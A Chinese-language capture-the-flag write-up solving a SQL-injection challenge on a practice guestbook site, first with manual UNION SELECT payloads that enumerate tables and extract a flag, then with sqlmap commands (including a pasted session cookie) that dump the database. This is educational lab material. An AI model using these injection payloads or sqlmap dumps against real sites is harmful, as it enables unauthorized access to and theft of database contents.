guestbook

[src = hackme] guestbook

题目描述

This guestbook sucks. sqlmap is your friend.

WP

点击Message List,发现没有消息,通过New Post添加一条,然后再查看可以看到POST的消息,这是一个留言板,添加消息后结果如图:

guest

题目的提示已经说明这是一个SQL注入题目,现在查看注入点,点击添加的消息,发现URL为:https://hackme.inndy.tw/gb/?mod=read&id=13362
测试后面的id字段:添加’,输出Sorry, no data for this。说明存在注入。

按照注入的基本步骤,首先数据库名,表名,字段然后数据的次序进行。
使用union注入,需要测试后面的列数,测试到4时(?mod=read&id=-1 union select 1,2,3,4 #),输出结果如下:
(id=-1是使得前面的字句没有返回,这样页面就可以显示union后面字句查询的内容)
guest1
其中显示2,3,4的位置都是有输出的位置,可以用来显示注入得到的数据。

注入数据库名字,在第3列显示:

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,database(),4#

得到数据库名字为g8.执行:

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select table_name from information_schema.tables where table_schema=database() limit 0,1),4#
得到表名为flag的表。

测试flag表的字段,输入如下的注入语句时得到flag字段。
?mod=read&id=-1 union select 1,2,(select column_name from information_schema.columns where table_name=’flag’ limit 1,1),4#

最后一步获取字段的值:
?mod=read&id=-1 union select 1,2,(select flag from flag limit 1,1),4#

得到如下输出,即为flag:
guest1

本题已经提示了可以使用sqlmap,所以本题的第二种解法就是使用sqlmap,sqlmap是进行SQL注入的神器,KALI系统已经集成,所以直接上KALI。
首先测试注入点(-u 参数为测试注入的URL,–cookie 参数为注入会话的cookie):

1
root@kali:~# sqlmap -u "https://hackme.inndy.tw/gb/?mod=read&id=13364" --cookie "session_guard=3ngmoq8clc2jefsgcfpc9s402h; session=SESSION.lJ4qf2bU0z4Z2XCc%2Feq3RY26YacSZWovoheaH%2F2%2B9T6eymykeml1JR9y6fRruwJ8ff22V0py5D%2B5dIHJnhzkVA%3D%3D.bmFtZXxzOjY6ImJpdHNlYyI7.1570086312; _ga=GA1.2.1257329668.1569639522; _gid=GA1.2.1376482708.1569827111; _gat=1"

输出显示id字段是可注入的(GET parameter ‘id’ is vulnerable.)。
注入数据库名字(–dbs参数):

1
root@kali:~# sqlmap -u "https://hackme.inndy.tw/gb/?mod=read&id=13364" --cookie "session_guard=3ngmoq8clc2jefsgcfpc9s402h; session=SESSION.lJ4qf2bU0z4Z2XCc%2Feq3RY26YacSZWovoheaH%2F2%2B9T6eymykeml1JR9y6fRruwJ8ff22V0py5D%2B5dIHJnhzkVA%3D%3D.bmFtZXxzOjY6ImJpdHNlYyI7.1570086312; _ga=GA1.2.1257329668.1569639522; _gid=GA1.2.1376482708.1569827111; _gat=1"  --dbs

得到三个数据库:

1
2
3
4
available databases [3]:
[*] g8
[*] guestbook
[*] information_schema

information_schema是MySQL自带的管理数据库的数据库,我们先测试g8,看g8中存在那些表。-D参数指定要测试的数据库为g8,–tables参数说明要查看所有表名。

1
root@kali:~# sqlmap -u "https://hackme.inndy.tw/gb/?mod=read&id=13364" --cookie "session_guard=3ngmoq8clc2jefsgcfpc9s402h; session=SESSION.lJ4qf2bU0z4Z2XCc%2Feq3RY26YacSZWovoheaH%2F2%2B9T6eymykeml1JR9y6fRruwJ8ff22V0py5D%2B5dIHJnhzkVA%3D%3D.bmFtZXxzOjY6ImJpdHNlYyI7.1570086312; _ga=GA1.2.1257329668.1569639522; _gid=GA1.2.1376482708.1569827111; _gat=1"  -D g8 --tables

得到:

1
2
3
4
5
6
7
Database: g8
[3 tables]
+-------+
| flag |
| posts |
| users |
+-------+

发现flag表,flag很可能就在这个表中,所以我们直接对该表进行字段猜测,-T 参数指定表名,–columns 说明要查询所有字段名:

1
root@kali:~# sqlmap -u "https://hackme.inndy.tw/gb/?mod=read&id=13364" --cookie "session_guard=3ngmoq8clc2jefsgcfpc9s402h; session=SESSION.lJ4qf2bU0z4Z2XCc%2Feq3RY26YacSZWovoheaH%2F2%2B9T6eymykeml1JR9y6fRruwJ8ff22V0py5D%2B5dIHJnhzkVA%3D%3D.bmFtZXxzOjY6ImJpdHNlYyI7.1570086312; _ga=GA1.2.1257329668.1569639522; _gid=GA1.2.1376482708.1569827111; _gat=1"  -D g8 -T flag --columns

得到:

1
2
3
4
5
6
7
8
9
10
11
Database: g8
Table: flag
[4 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| flag | varchar(255) |
| id | int(11) |
| padding0 | int(11) |
| padding1 | int(11) |
+----------+--------------+

有flag字段,最后dump该表的内容即可!

1
root@kali:~# sqlmap -u "https://hackme.inndy.tw/gb/?mod=read&id=13364" --cookie "session_guard=3ngmoq8clc2jefsgcfpc9s402h; session=SESSION.lJ4qf2bU0z4Z2XCc%2Feq3RY26YacSZWovoheaH%2F2%2B9T6eymykeml1JR9y6fRruwJ8ff22V0py5D%2B5dIHJnhzkVA%3D%3D.bmFtZXxzOjY6ImJpdHNlYyI7.1570086312; _ga=GA1.2.1257329668.1569639522; _gid=GA1.2.1376482708.1569827111; _gat=1"  -D g8 -T flag --columns --dump

得到flag:

1
2
3
4
5
6
7
8
9
10
Database: g8
Table: flag
[3 entries]
+----+----------------------------------------------------+----------+----------+
| id | flag | padding1 | padding0 |
+----+----------------------------------------------------+----------+----------+
| 1 | http://i.giphy.com/3o72FdPiRXBRbBLUc0.gif | 31415926 | 1337 |
| 2 | FLAG{Y0U_KN0W_SQL_1NJECT10N!!!' or 595342>123123#} | 88 | 77 |
| 3 | http://i.giphy.com/m7BTtLWhjkEJa.gif | 9999 | 6666 |
+----+----------------------------------------------------+----------+----------+

[知识点]

sql注入是最为危险的web安全问题之一,通过该例子可以很好的练习手动注入的过程,建议通过手动注入的方式进行。